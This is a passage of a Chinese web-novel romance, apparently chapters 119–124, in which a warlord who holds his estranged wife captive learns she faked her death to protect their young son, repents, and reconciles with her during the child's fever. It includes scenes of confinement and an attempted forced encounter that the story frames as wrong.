陆淮锦虽然昨晚是在听涛苑过的夜,但他并没有碰沈晚清。
他只是抱着那个背对着他、浑身僵硬的女人,就这样枯坐了一整夜。直到天蒙蒙亮,他才起身离开,甚至体贴地没有吵醒她。
因为他还有更头疼的事情要处理——公文,以及那个被他强行带回来的“小祖宗”。
“大帅,这是今天的军务报告。”
宋副官把一叠文件放在桌上,表情有些古怪,欲言又止。
“怎么了?”
陆淮锦揉了揉胀痛的太阳穴,端起桌上的咖啡喝了一口。
“那个……小少爷今早起来,听说夫人被您关在听涛苑不让出来,发了好大一通脾气。”宋副官小心翼翼地说道,“刚才还吵着要烧了帅府。”
“烧帅府?”
陆淮锦冷笑一声,放下咖啡杯,“这点倒是像我。不过他才三岁,哪来的火?”
“火倒是没有……不过……”宋副官看了一眼陆淮锦脚边的军靴,“大帅,您穿鞋的时候……没觉得有什么不对劲吗?”
陆淮锦眉头一皱。
不对劲?
他下意识地动了动脚趾。确实,从刚才穿上靴子开始,就觉得脚底好像有什么软绵绵、黏糊糊的东西。
他脸色一变,猛地脱下那只黑色长筒军靴,往下一倒。
“啪嗒。”
两只浑身长满刺**、肥嘟嘟的绿色**毛虫尸体,从他的靴子里掉了出来。
“……”
死一般的寂静。
陆淮锦的脸瞬间黑成了锅底。
“谁干的?”
这三个字是从牙缝里挤出来的。
“除了小少爷……没人敢进您的更衣室。”宋副官憋着笑,肩膀都在抖,“听说这是他一大早去花园里,指挥阿福抓的。”
“好,很好。”
陆淮锦看着地上的**毛虫,气极反笑,“才三岁就知道用生物武器了。把那个小兔崽子给我带过来!”
……
十分钟后。
小团圆背着小手,昂首挺胸地走进了书房。
他今天穿了一身黑色的小马甲,脖子上还挂着那个陆淮锦送给他的长命锁。那张粉雕玉琢的小脸绷得紧紧的,看着坐在书桌后的大魔王,一点都不带怕的。
“是你往我鞋里放虫子?”
陆淮锦眯起眼睛,指着地上的“作案工具”。
“是我!”
小团圆理直气壮地承认了,“谁让你欺负我娘!谁让你把她关起来!你是大坏蛋!我就要让虫子咬你!”
“大坏蛋?”
陆淮锦站起身,绕过书桌,一步步走向儿子。
小团圆下意识地想后退,但想到娘还在受苦,他又挺直了腰杆,像个随时准备战斗的小斗鸡。
陆淮锦在他面前蹲下。
看着这张和自己几乎一模一样的脸,看着那双充满敌意却又清澈见底的眼睛,他满腔的怒火突然就发泄不出来了。
这要是别的熊孩子,早就被他扔出去了。
但这可是他的种。
而且,这脾气,这胆识,简直就是年轻时的他翻版。
“虫子咬不到我,只会恶心我。”
陆淮锦伸出手,想要去捏捏儿子气鼓鼓的脸颊。
“啪!”
小团圆一巴掌拍开了他的手,“别碰我!你不洗手!脏!”
陆淮锦的手僵在半空,嘴角抽搐。
嫌他脏?
“我是你老子!”
“你不是!我有爹!我爹是大英雄!”小团圆大声反驳,“我娘说了,我爹去打坏人了!你是个抢别人老婆孩子的强盗!”
强盗。
又是这两个字。
陆淮锦深吸一口气,站起身,决定换个策略。
“好,我是强盗。”
他转身走到书桌旁,拿起桌上那份还没来得及批阅的**。
但下一秒,他的青筋又爆了起来。
只见那份盖着“绝密”印章的作战地图上,被人用毛笔画了一只巨大的、丑陋的乌龟。那乌龟正好趴在“北城”的位置上,背上还写了歪歪扭扭的三个字——陆大龟。
“陆、大、龟?!”
陆淮锦的太阳穴突突直
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跳,拿着文件的手都在抖。
“谁教你写的字?”
“顾叔叔教的!”小团圆得意洋洋,“顾叔叔说,乌龟是长寿的,但我画的是坏乌龟,是缩头乌龟!”
顾叔叔。
又是那个阴魂不散的顾西城。
“来人!”
陆淮锦终于破防了,把文件往桌上一拍,“把小少爷带下去!没收他所有的毛笔!还有,以后不许他在花园里抓虫子!”
“我不走!我要见我娘!”
小团圆见斗法失败,立刻祭出了**锏——坐地炮。
他一屁股坐在地上,蹬着小腿,扯开嗓子开始干嚎:“救命啊!强盗**啦!我要找娘!我要回家!哇——!!!”
那哭声震耳欲聋,穿透力极强。
门口的卫兵面面相觑,想笑又不敢笑。
陆淮锦揉着眉心,看着地上撒泼打滚的儿子,只觉得比指挥一场十万人的大会战还要累。
打不得,骂不得,讲道理又不听。
“宋虎。”
陆淮锦无奈地挥了挥手,“把他送回听涛苑。”
“啊?”宋副官一愣,“大帅,您不是说不许探视吗?”
“让他去!”
陆淮锦咬牙切齿,“让他去告诉那个女人,要是再教唆儿子叫我乌龟,我就真的做一次缩头乌龟,把她这辈子都锁在床上!”
“是!”
宋副官如蒙大赦,赶紧抱起地上的小祖宗,“走喽!小少爷,咱们找娘去!”
看着儿子被抱走,书房终于恢复了清静。
但陆淮锦看着满地的狼藉,还有那张画着乌龟的地图,竟然没生气,反而从胸腔里发出了一声低沉的笑。
“臭小子。”
他拿起毛笔,在那只乌龟旁边,郑重其事地加了一只更小的乌龟。
一大一小,竟然有些莫名的和谐。
“想斗法?”
“老子这辈子还没输过。咱们来日方长。”
然而,**的是,儿子的捣乱只是开胃菜。
真正让他头疼的“冷战”,才刚刚开始。
第120章 冷战
听涛苑的烛火,彻夜未熄。
这里的一切都极尽奢华,锦衣玉食,甚至连伺候的丫鬟都换成了当年最机灵的那几个。但整个院子却笼罩在一种令人窒息的死寂中,仿佛是一座华丽的活**墓。
陆淮锦推门进来的时候,沈晚清正坐在窗边的软榻上。
她背对着门口,手里拿着针线,正在给熟睡在里间的小团圆缝补那件被勾破的小马甲。灯光将她的剪影投射在窗纸上,温婉而美好,像极了三年前那些温馨的夜晚。
如果,忽略掉她身上散发出的那种拒人于千里之外的冷漠。
“还没睡?”
陆淮锦脱下带着寒气的大衣,试图让自己的声音听起来自然些,“今天军务忙,回来晚了。”
没有回应。
沈晚清连头都没有回一下,手中的针线穿梭,仿佛他是空气。
陆淮锦的手在半空中僵了一下,随即握成拳,又松开。
这种状态已经持续整整三天了。
自从被抓回来,除了跟孩子说话,她对他没有说过一个字。不看他,不理他,不骂他。哪怕他故意在她面前摔东西,哪怕他拿那些珍贵的医书威胁要烧掉,她都只是冷冷地看着,眼神空洞得像是在看一出无聊的哑剧。
“晚晚。”
陆淮锦压下心头的火气,走到她身后,弯下腰,双臂从后面环住她的腰,下巴抵在她的肩窝处。
“别缝了,伤眼睛。让下人去做。”
他试图去拿她手里的针线。
沈晚清的手指微微一缩,躲开了他的触碰。她放下针线篓,面无表情地站起身,径直走向床榻,脱鞋,上床,拉过被子盖住自己,背对着他躺下。
全套动作行云流水,唯独没有看他一眼。
陆淮锦维持着那个拥抱的姿势站在原地,怀里空荡荡的冷风让他心口一阵绞痛。
“沈晚清!”
他终于忍不住了,几步冲到床边,一把掀开她的被子,抓住她的肩膀将她扳了过来。
“你到底要闹到什么时候?”
陆淮锦双目赤红,死死盯着她那双毫无波澜的眼睛,“我是**你了?还是没给你饭吃?你摆这张**脸给谁看?”
沈晚清顺着他的力道坐起来。
她看着他暴怒的样子,就像在看一个陌生人。
依旧是一言不发。
“说话!”
陆淮锦被这种无声的蔑视逼疯了。他宁愿她像三年前那样拿枪指着他,宁愿她像在柳镇那样骂他混蛋,也不想面对这样一具没有灵魂的躯壳。
“你哑巴了吗?”
他捏住她的下巴,力道大得几乎要捏碎她的骨头,“还是说,你在给那个姓顾的守身如玉?我不配让你开口?”
听到“姓顾的”,沈晚清的睫毛终于颤抖了一下。
但她依然没有说话,只是缓缓闭上了眼睛,一副任杀任剐的模样。
“好……真好。”
陆淮锦怒极反笑,笑声悲凉。
“你想当**是吧?那我就让你看看,**是怎么伺候男人的!”
他猛地压了下去,带着惩罚性质的吻**般落下。他粗暴地撕扯着她的衣领,动作里没有一丝怜惜,只有无尽的绝望和发泄。
“唔……”
沈晚清痛得眉头紧锁,但她咬紧了牙关,一声不吭。
没有反抗,没有迎合。
她就像一条被扔在案板上的鱼,甚至连身体都是僵硬冰冷的。
陆淮锦的动作突然停住了。
他撑在她上方,看着身下这个面色惨白、眼神空洞的女人。
一种巨大的挫败感瞬间击溃了他所有的防线。
这算什么?
“晚晚……”
陆淮锦眼底的戾气散去,取而代之的是无尽的仓惶。他颤抖着手,替她拉拢被撕坏的衣襟,声音瞬间软了下来,带着一丝卑微的乞求:
“你别这样……你骂我两句好不好?”
“你打我也可以。”
他抓起她的手,狠狠地往自己脸上扇,“你打我!只要你别不理我!”
沈晚清的手无力地垂下。
她终于睁开了眼睛,看着眼前这个近乎崩溃的男人。
他是叱咤风云的修罗战神,是令北六省闻风丧胆的陆大帅。此刻却像个无助的孩子,在她面前卑微到了尘埃里。
可是,只要一想到三年前那场几乎夺走孩子性命的刺杀,想到这三年来的担惊受怕,她的心就硬得像铁。
“大帅。”
她终于开口了。
嗓音因为许久未说话而显得有些沙哑,语气却冷漠得没有一丝温度。
“闹够了吗?”
陆淮锦浑身一僵,眼中闪过一丝希冀的光:“晚晚,你肯跟我说话了?”
“如果大帅发泄够了,如果不打算杀了我,那就请出去。”
沈晚清别过头,不再看他,“我嫌脏。”
三个字。
我嫌脏。
如同一把淬了毒的利刃,精准地扎进了陆淮锦心底最柔软、最愧疚的地方。
陆淮锦的脸色瞬间变得惨白,连嘴唇都失去了血色。
他僵硬地从她身上起来,踉跄着后退了两步,仿佛被抽干了所有的力气。
“嫌脏……”
他惨笑一声,看着自己那双沾满过鲜血的手,“是啊,我脏。我是个只会**的屠夫,怎么配得上圣洁的柳大夫?”
屋内的
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空气仿佛凝固了。
陆淮锦深深地看了她一眼,那一眼里包含的情绪太复杂——有爱,有恨,有痛,也有绝望。
“好。”
他点了点头,声音恢复了死寂般的平静。
“我不碰你。”
“你好好休息。”
说完,他转身大步走出门外,背影狼狈得像是个逃兵。
“哐当。”
房门关上。
沈晚清靠在床头,听着他在院子里远去的脚步声,一直强撑着的那口气终于松懈下来。
她捂着脸,泪水从指缝中无声滑落。
“陆淮锦……不是我狠心……”
“是我们之间隔着的东西太多了……命悬一线的恐惧,你永远不会懂。”
……
帅府书房。
陆淮锦冲进书房,一把扫落了桌上所有的文件和摆件。
“稀里哗啦——”
碎瓷片和纸张散落一地。
“大帅!”宋副官听到动静冲进来,看到满地狼藉和大帅那几乎要**的表情,吓得大气不敢喘。
“出去!都给我滚出去!”
陆淮锦嘶吼着,像是一头受伤的困兽。
他瘫坐在椅子上,手里死死攥着那枚失而复得的黑戒指。
为什么?
为什么她要这么决绝?
如果不爱了,她眼里为什么会有泪?如果只是为了逃跑,她为什么要在柳镇隐姓埋名却又保留着他的习惯?
这三年,到底发生了什么?
让她宁愿带着孩子诈死,宁愿过那种朝不保夕的日子,也不愿意留在他身边?
“不对……”
陆淮锦猛地抬起头,眼神中的疯狂渐渐褪去,取而代之的是冷静后的锐利。
三年前的那场大火,太突然,太决绝。
她不是一个无理取闹的人。她做任何事都有理由。
当年她为什么要“死”?真的是为了不被俘虏吗?
可是以她的聪慧,帅府有密道,她完全可以带着孩子先躲起来,为什么要制造那么惨烈的假象?
除非……
除非只有她“死”了,某个必须要保护的人才能活。
小团圆。
“宋虎!”
陆淮锦猛地站起身,声音冰冷如刀。
“到!”宋副官连滚带爬地跑进来。
“去查!”
陆淮锦眼中闪烁着骇人的寒光,“去把三年前帅府遇袭那一夜的所有卷宗,还有阿福这三年的行踪,以及当初直系‘暗杀团’的所有口供,全部给我翻出来!”
“哪怕是把地皮掀开,我也要知道——”
“三年前的那一夜,到底发生了什么我不知道的事!”
“我要真相!”
第121章 当年的真相
地牢里阴暗潮湿,充斥着霉味和血腥气。
陆淮锦坐在审讯椅上,指尖夹着一支燃了一半的香烟,烟雾缭绕中,他的神情阴沉得可怕。
在他面前,跪着那个被一起带回来的仆人——阿福。
“大帅……我说的句句属实啊!”
阿福老泪纵横,额头磕在满是尘土的地上,砰砰作响,“当年……当年不是少夫人狠心,实在是没路走了啊!”
“没路走了?”
陆淮锦弹了弹烟灰,声音嘶哑,“帅府有几百警卫,有密道,有我在前线顶着。怎么就没路走了?非要诈死?”
“因为……因为内鬼通敌,直系的暗杀团已经摸进来了!他们的目标不是少夫人,是小少爷啊!”
阿福颤抖着手,从贴身的衣兜里,掏出一个用油纸包了好几层、已经泛黄发脆的纸团。
“这是当年……那些刺客塞在小少爷襁褓里的。”
宋副官上前接过纸团,小心翼翼地展开,呈给陆淮锦。
陆淮锦接过那张纸。
纸张已经很旧了,但上面的字迹依然狰狞可怖,那是用血写的一行字:
【不想让陆少帅在前线分心,就拿这孩子的命来换。——直系暗杀团】
陆淮锦的手猛地一颤,滚烫的烟灰掉在手背上,他却浑然不觉。
“那时候,少帅您在前线正和吴大帅决战,战况胶着。”
阿福哭诉道,“少夫人说,如果您知道小少爷被威胁,一定会分心,甚至可能为了孩子退兵。那样……陆家军就完了,您也会没命。”
“少夫人说,她是陆家的媳妇,不能成为您的软肋。”
“所以……她才想出了这‘金蝉脱壳’的法子。只有她和孩子都‘死’了,那些刺客才会收手,您才能心无旁骛地打赢那一仗。”
“轰——”
陆淮锦只觉得脑子里有什么东西轰然炸开。
他一直以为,她是受不了苦,是贪生怕死才逃跑。
他恨了她三年,怨了她三年。
可真相却是——
她是拿着自己的命,拿着孩子的命,在给他换一个锦绣前程,换一个平安的后方!
她在柳镇这三年,隐姓埋名,粗茶淡饭,不是为了逍遥快活,是为了给他保住唯一的血脉!
而他呢?
他做了什么?
他把她抓回来,羞辱她是“姨太太”。他当着她的面砸了她赖以为生的医馆。他昨晚甚至还在逼她,说她脏,说她**……
“噗——”
急火攻心之下,一口鲜血猛地从陆淮锦口中喷出,溅在那张泛黄的纸条上。
“大帅!!”宋副官惊恐地上前扶住他。
“滚开!”
陆淮锦推开宋副官,踉跄着站起身,双手死死攥着那张纸条,指节泛白到几乎断裂。
“我真蠢……我真蠢啊……”
他惨笑着,眼泪混合着嘴角的鲜血流下,那模样比哭还难看。
“我竟然……还在怪她。”
“我竟然……还想纳她做姨太太来羞辱她……”
陆淮锦猛地抬手,狠狠地给了自己一记耳光。
“啪!”
清脆的耳光声在地牢里回荡。
“陆淮锦,你是个什么东西!**就是个混蛋!”
他想起昨天她在床上那绝望空洞的眼神,想起她说“大帅如果不杀了我,那就请出去”。
那时候,她的心该有多痛?
被自己用命守护的丈夫,指着鼻子骂不守妇道,这种痛,比三年前的大火还要烈上百倍吧?
“备车……不,不用车!”
陆淮锦跌跌撞撞地往外冲,甚至跑丢了一只军靴都顾不上。
“去听涛苑!快!”
……
听涛苑,卧房。
天光大亮。
沈晚清并没有睡。她坐在梳妆台前,看着镜子里那个憔悴的自己,手里拿着一把剪刀,正对着那头长发发呆。
既然逃不掉,既然他嫌她脏。
那就剪了这头烦恼丝,做个姑子,就在这深宅大院里青灯古佛了此残生吧。
就在剪刀即将剪下的瞬间。
“嘭!”
房门被一股巨大的力量撞开。
沈晚清吓了一跳,手一抖,剪刀划破了手指,鲜血渗出。
她回过头,就看到一个浑身是泥、衣衫凌乱、嘴角还挂着血迹的男人冲了进来。
那是陆淮锦。
但他此刻哪里还有半分大帅的威风?
他赤着一只脚,头发凌乱,那双总是充满戾气的眼睛里,此刻盛满了惊慌、恐惧,还有滔天的悔恨。
“晚晚!”
看到她手里的剪刀和手上的血,陆淮锦的心脏差点骤停。
他以为她要**。
“别动!求你别动!”
他几
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乎是扑过来,一把夺过她手里的剪刀远远扔开,然后“噗通”一声,重重地跪在了她的脚边。
沈晚清愣住了。
她看着这个不可一世的男人,就这样毫无尊严地跪在自己面前,双手颤抖地捧起她受伤的手指,眼泪大颗大颗地砸在她的手背上。
“对不起……对不起……”
陆淮锦的声音哽咽得不成样子,像个做错了事找不到家的孩子。
“我知道了……我都知道了……”
“那张纸条……阿福都跟我说了……”
“是我蠢,是我混蛋,是我辜负了你……”
他抬起头,那张平日里冷硬的脸上此时涕泗横流。
“你打我吧,杀了我都行。”
“晚晚,别伤害自己……求你,别不要我……”
沈晚清看着他这副模样,听着他语无伦次的忏悔,一直筑起的心防,在这一刻终于出现了一丝裂痕。
他知道了。
那种积压了三年的委屈,那种无人诉说的苦楚,在真相大白的一瞬间,化作了决堤的泪水。
“陆淮锦……”
她抽回手,别过头去,声音颤抖却决绝:
“你知道了又怎样?”
“迟了。”
“镜子碎了,粘不回去了。”
“粘得回去!”
陆淮锦急切地抓住她的裙角,眼中闪烁着疯狂的执着,“我用命粘!用下半辈子粘!”
“从今天起,我不做大帅了,我给你当牛做马。”
他突然站起身,目光在房间里四处搜寻,最后落在了墙角那块用来压咸菜缸的搓衣板上。
他大步走过去,拿过搓衣板,重新走到沈晚清面前,把搓衣板往地上一放。
“噗通!”
这一次,他跪得更重,更决绝。
膝盖磕在坚硬的木棱上,发出令人牙酸的闷响。
“陆家家规第一条,欺辱发妻者,当受家法。”
陆淮锦挺直了脊背,跪得笔直,眼神坚定地看着她:
“晚晚,你若不消气,我就一直跪着。”
“跪到你肯原谅我为止。”
“跪到……死。”
窗外,海棠花瓣纷纷扬扬地飘落。
骄傲如他,权倾北地如他,此刻却甘愿为了一个女人,折断一身傲骨,画地为牢。
这是一场迟来的赎罪。
也是一场关于爱的豪赌。
第122章 负荆请罪
这一天,注定要载入陆帅府的“史册”。
平日里连咳嗽一声都能让北六省抖三抖的陆大帅,此刻正跪在听涛苑主卧的地板上。
而且,膝盖下还垫着一块棱角分明的搓衣板。
那是阿福从杂物房里翻出来的,本来是用来洗粗布衣服和压咸菜缸的,纹路深,硬度高,跪上去那叫一个酸爽。
时间已经过去了两个时辰。
陆淮锦那一身昂贵的军裤膝盖处已经磨出了褶皱,挺得笔直的脊背也被冷汗浸透。但他纹丝不动,甚至连脸上的表情都肃穆得像是在进行什么神圣的仪式。
门外,宋副官带着一排警卫员探头探脑,一个个眼珠子都要瞪出来了。
“乖乖……大帅这是中了什么邪?”
“嘘!没听说吗?大帅冤枉了少夫人,正在‘负荆请罪’呢!”“啧啧,这也就是少夫人,换个人敢让大帅跪搓衣板,早被拉出去毙了八百回了。”
屋内。
沈晚清坐在不远处的贵妃榻上,手里拿着那本没看完的《红楼梦》,看似在看书,实则半天都没翻一页。
她的余光,总是不受控制地飘向那个跪在地上的人。
他腿上有旧伤。
三年前坠崖断过腿,这几年行军打仗又没少受罪。这么跪下去,那条腿怕是要废了。
“娘,大坏蛋在干什么呀?”
就在这时,刚刚睡醒午觉的小团圆蹬蹬蹬地跑了进来。他手里拿着一根吃了一半的糖葫芦,好奇地围着陆淮锦转了两圈。
“这是在练功吗?”
小团圆蹲下身,伸出小手,好奇地戳了戳陆淮锦那一脸严肃的脸颊。
“大坏蛋,你的脸怎么在流汗?是不是偷吃我的糖葫芦了?”
陆淮锦:“……”
若是旁人敢这么戳他的脸,手早就断了。
但他此刻只是微微侧头,看着这个缩小版的自己,嘴角勉强挤出一丝比哭还难看的笑:
“儿子,爹不是在练功。”
“爹是在……认错。”
“认错?”小团圆眨巴着大眼睛,“你也尿床了吗?阿福叔叔说,尿床才要罚站。你这么大的人了还尿床,羞羞!”
“噗嗤。”
门外的宋副官没忍住,笑出了声,随即赶紧捂住嘴,假装看天。
沈晚清拿着书的手也抖了一下,嘴角微不可察地勾起一抹弧度,但很快又压了下去。
“团圆,过来。”
沈晚清冷着脸招手,“别离他太近,小心被传染了傻气。”
“哦!”小团圆乖乖地跑回娘亲怀里,一边吃糖葫芦,一边还要回头冲陆淮锦做个鬼脸,“略略略!傻大个!”
陆淮锦深吸一口气,心中默念:亲生的,亲生的,不知者无罪。
他又跪了一个时辰。
太阳渐渐西斜,夕阳的余晖洒进屋内。
陆淮锦的脸色已经从苍白变成了惨白。额头上的冷汗汇聚成流,顺着下巴滴落在地板上,汇成了一小滩水渍。
他的左腿旧伤开始复发,那种钻心的疼痛像是有千万只蚂蚁在啃噬骨髓。他的身体开始不受控制地微微摇晃,眼前也一阵阵发黑。
但他依然死死咬着牙,一声不吭。
他说过,跪到她原谅为止。
要是这点苦都吃不了,还谈什么赎罪?还怎么把她那颗凉了三年的心捂热?
“咳咳……”
终于,他喉咙里发出了一声压抑不住的闷哼,高大的身躯猛地晃了一下,险些栽倒。
“啪!”
沈晚清手中的书重重地合上。
她看着那个摇摇欲坠的男人,终究还是硬不下心肠。
他是为了她才变成这样的。这三年,他过得并不比她好。
“行了。”
沈晚清站起身,把小团圆塞给进来的奶妈,“把小少爷带出去玩。”
等屋里只剩下两人时。
她走到陆淮锦面前,居高临下地看着他,声音虽然依旧冷淡,却少了几分之前的尖锐:
“陆大帅这又是演哪一出?苦肉计?”
“不是演戏……”
陆淮锦抬起头,视线已经有些模糊,但他努力想要看清她的脸,“晚晚……我是真心的……”
“腿都要断了还真心?”
沈晚清一脚踢开那块搓衣板,发出“哐当”一声巨响。
“起来。”
“我不……”
“我让你起来!”沈晚清厉声道,“你是想让我还没进门就先守寡吗?还是想让我儿子以后有个残废爹?”
听到“我儿子有个残废爹”这句话,陆淮锦那双黯淡的眼睛瞬间亮了起来。
她承认了!
她承认他是孩子的爹了!
“晚晚……你肯认我了?”
陆淮锦激动得想要站起来,但这双腿跪了太久,早已麻木僵硬。刚一用力,整个人就不受控制地向前扑去。
“小心!”
沈晚清下意识地伸手去扶。
“砰!”
两人一起倒在了地毯上。
陆淮锦怕压着她,在倒下的瞬间强行扭转了身体,让自己当了肉垫。
沈晚清趴在他坚硬宽阔的胸膛上,听着他剧烈的心跳声,鼻尖萦绕着他身上那股混合着汗水和药油的熟悉味道。
“晚晚……”
陆淮锦躺在地上,双手虚虚地环住她的腰,不敢太用力,怕她反感,声音虚弱却带着无赖的欢喜:
“你还是心疼
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我的,对不对?”
沈晚清撑起上半身,看着他那张惨白却还在傻笑的脸,气不打一处来。
“心疼你个大头鬼。”
她狠狠地在他胸口锤了一下,然后挣扎着爬起来。
“宋虎!”
“到!”早已在门外候着的宋副官立刻冲进来。
“把你家大帅架到床上去。再去拿跌打酒来。”
沈晚清冷着脸吩咐道,“还有,让厨房煮一碗姜汤。”
“是!谢谢少夫人!”宋副官喜笑颜开,赶紧招呼警卫把自家大帅抬起来。
陆淮锦被架到床上,一边哎哟哎哟地叫唤,一边还要侧过头,眼巴巴地盯着沈晚清:
“晚晚,你亲自给我擦药行不行?别人手重,我怕疼。”
一旁的宋副官听得嘴角直抽抽。当年大帅身上中了两枪,自己拿刀挖**都没哼一声,现在跪个搓衣板就怕疼了?
“怕疼刚才就别跪。”
沈晚清虽然嘴上这么说,但还是接过了宋副官送来的药酒。
她在床边坐下,卷起他的裤管。
只见那原本伤痕累累的膝盖,此刻已经红肿一片,有些地方甚至磨破了皮,渗出了血丝。
沈晚清的鼻子一酸。
她倒出药酒,在掌心搓热,然后按在他的膝盖上,用力揉搓。
“嘶——”陆淮锦倒吸一口凉气,但很快就变成了享受的哼哼。
这双让他想了三年的手,终于又落在了他的身上。
哪怕是疼,也是甜的。
“晚晚。”
他伸出手,小心翼翼地勾住她的一根小指,见她没有甩开,便得寸进尺地握住了她的整只手。
“我不逼你了。”
他看着她的眼睛,极其认真地说道:
“以前的事,是我错了。这三年欠你们娘俩的,我用一辈子还。”
“你别走了,好不好?”
沈晚清看着他眼里的红血丝,感受着掌心传来的热度。
她心里的那座冰山,终于在这个充满了药酒味和悔意的黄昏里,轰然倒塌了一角。
“看你表现。”
她抽出手,在他肿起的膝盖上不轻不重地按了一下。
“要是表现不好,下次就不是搓衣板了。”
“下次?”陆淮锦眼睛一亮,“还有下次?那就是说……我能留下了?”
沈晚清没有回答,只是端起药酒瓶转身就走,耳根却悄悄红了。
这一场轰轰烈烈的“负荆请罪”,终究是以少帅的膝盖为代价,换来了夫妻关系的破冰。
但谁也没想到,真正的神助攻,还在后头。
当天夜里,那个白天还在吃糖葫芦嘲笑亲爹的小团圆,突然发起高烧来。
第123章 小团子的助攻
“娘亲……热……好热……”
一声微弱却痛苦的呢喃,像惊雷一般炸醒了浅眠的沈晚清。
她猛地惊坐而起,伸手一摸身边的小团圆。
入手滚烫,像是一个小火炉。
“团圆?团圆!”
沈晚清的心瞬间提到了嗓子眼。借着微弱的烛光,她看到儿子的小脸烧得通红,呼吸急促,小小的眉头紧紧皱着,看起来难受极了。
“来人!快来人!”
沈晚清慌了。虽然她是名医,救过无数人,但那是她身上掉下来的肉,哪怕是一点点病痛都足以让她方寸大乱。
“怎么了?”
房门几乎是在瞬间被撞开。
陆淮锦并没有回前院,而是就在外间的软榻上将就了一宿。听到动静,他连外衣都顾不上披,拖着那条还一瘸一拐的伤腿冲了进来。
“发烧了!高烧惊厥!”
沈晚清一边快速翻找银针包,一边声音颤抖地指挥,“快!去打温水!还有,把窗户打开一条缝透气!别让风直接吹着他!”
“好!”
陆淮锦没有任何废话,也不叫下人,自己转身冲向外间,端来早已备好的温水盆。
“我来抱他。”
看着沈晚清手抖得连银针都拿不稳,陆淮锦沉声说道。
他坐到床头,伸出宽厚的大手,小心翼翼地将烧得迷迷糊糊的小团圆抱进怀里。
“别怕,爹爹在。”
他的声音低沉、稳重,带着一种奇异的安抚力量。
沈晚清深吸一口气,强迫自己冷静下来。她看着陆淮锦那因为疼痛而微微紧绷的下颌线,心中划过一丝异样的情绪,但此刻顾不得许多。
“按住他的虎口,我要施针。”
“嗯。”
屋内烛火摇曳。
这是一场没有硝烟的战争。
沈晚清全神贯注地施针、喂药、物理降温。
陆淮锦则充当了最稳固的靠山。他不仅要固定住乱动的孩子,还要不断地用温热的毛巾给孩子擦拭身体。
他的动作虽然生疏,却极尽温柔。那双握惯了枪杆子、**如麻的手,此刻拿着小小的毛巾,轻得像是在擦拭稀世珍宝。
“呜呜……大坏蛋……”
烧得迷迷糊糊的小团圆突然哭闹起来,小手在空中乱抓,“不要大坏蛋……我要爹爹……我要骑大马……”
陆淮锦擦汗的手一顿。
即使在梦里,孩子还是叫他大坏蛋。
“团圆乖。”
陆淮锦低下头,用满是胡茬的下巴轻轻蹭了蹭孩子滚烫的额头,声音沙哑却充满了宠溺:
“大坏蛋走了。爹爹在这里。”
“等你好了,爹爹让你骑大马,骑一辈子,好不好?”
似乎是听懂了他的话,或者是感受到了那份血脉相连的安全感,小团圆的哭闹渐渐止住了,小手下意识地抓住了陆淮锦的一根手指,紧紧攥着不肯松开。
一旁的沈晚清,看着这一幕,眼眶酸涩得厉害。
这三年,孩子虽然懂事,但每次看到别的小孩被父亲举高高,眼里的羡慕是藏不住的。
如今,他终于躺在了父亲的怀里。
时间一分一秒地过去。
整整折腾了大半夜。
直到天边泛起鱼肚白,小团圆身上的热度才终于退了下去,呼吸也变得平稳绵长。
“退烧了。”
沈晚清摸了摸儿子的额头,长出了一口气,整个人虚脱般地瘫软在床边。
“你也累坏了。”
陆淮锦把睡熟的孩子轻轻放回被窝,盖好被子。
他转过头,看着满脸倦容的沈晚清。
两人对视。
这一夜的兵荒马乱,让那层隔阂在不知不觉中消融了大半。
“你的腿……”沈晚清的目光落在他一直弯曲着的左腿上,那里的裤管已经被冷汗浸透,“跪了一天,又折腾了一夜,不想要了?”
“只要儿子没事,这条腿废了也值。”
陆淮锦满不在乎地笑了笑,想要站起身,却因为膝盖剧痛而踉跄了一下。
沈晚清下意识地伸手扶住他。
“别逞强了。”
她叹了口气,语气中终于带上了一丝久违的心疼,“躺下。”
“啊?”陆淮锦一愣。
“我让你躺下。”沈晚清瞪了他一眼,指了指床的外侧,“你是想让我再给你治一次腿吗?我累了,不想动针了。”
陆淮锦的眼睛瞬间亮得像两颗星辰。
“遵命!夫人!”
他生怕她反悔似的
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,立刻躺在了床的外侧,虽然中间隔着一个小团圆,但这已经是三年来,他们第一次同床共枕。
清晨的阳光透过窗纸洒进来,给屋内镀上了一层金边。
沈晚清实在是太累了,靠在床头本来只想眯一会儿,结果很快就沉沉睡去。
半梦半醒间,她感觉一双有力的手臂越过孩子,轻轻地揽住了她的肩膀,将她带入了一个温暖宽阔的怀抱。
那个怀抱里,有着令她安心的味道。
“晚晚,睡吧。”
“以后,天塌下来,我顶着。”
这一觉,沈晚清睡得格外安稳。没有噩梦,没有追杀,只有岁月静好的安宁。
再次醒来时,已经是日上三竿。
她睁开眼,首先看到的是一双近在咫尺的、漆黑深邃的眼眸。
陆淮锦早就醒了,正单手支着头,侧躺着看她。他的另一只手被小团圆当成了枕头,而他的胸膛则成了沈晚清的靠枕。
一家三口,就这样挤在一张床上,亲密无间。
见她醒来,陆淮锦嘴角勾起一抹温柔至极的笑意:
“早安,陆太太。”
沈晚清的脸颊微微一热,想要起身,却发现被两父子“**”得动弹不得。
“娘亲,你醒啦!”
小团圆也醒了,精神看起来好了很多。他看了看躺在左边的爹,又看了看躺在右边的娘,小脸上露出了一个大大的笑容:
“昨晚我做梦了!梦见大坏蛋变成了大英雄,还在给我讲故事呢!”
陆淮锦捏了捏儿子的小鼻子:“臭小子,还没改口?”
“哼,看在你昨晚抱我的份上……”小团圆眼珠子一转,凑过去在陆淮锦满是胡茬的脸上“吧唧”亲了一口。
“谢谢爹爹。”
这一声软糯的“爹爹”,瞬间击穿了修罗战神最后的防线。
陆淮锦愣住了,傻傻地摸着被亲过的地方,眼圈竟然红了。
沈晚清看着这一幕,看着那个曾在战场上杀伐果断的男人此刻像个傻子一样笑,心中的最后一丝坚冰,彻底化为了一汪春水。
也许,这就是命运最好的安排。
兜兜转转,他们还是回到了原点。
只是这一次,不再有误会,不再有分离。
第124章 迟来的解释
小团圆烧退了,喝了药后正如一只小猪般在摇篮里呼呼大睡。
院子里的那棵西府海棠开得正盛,粉白的花瓣随着微风飘落,铺满了一地的温柔。
沈晚清坐在石桌旁,手里捧着一杯热茶,目光有些失神地看着这棵树。她记得,三年前她“走”的时候,这棵树被大火燎去了一半枝丫,没想到如今竟长得这般茂盛。
“披上。”
一件带着体温的大衣轻轻披在她肩头。
陆淮锦在她对面坐下。他的腿脚还有些不利索,但这并不影响他此刻看向她的眼神——那是一种洗尽铅华后的深沉与专注。
“这棵树,是我让人从西山移植过来的。”
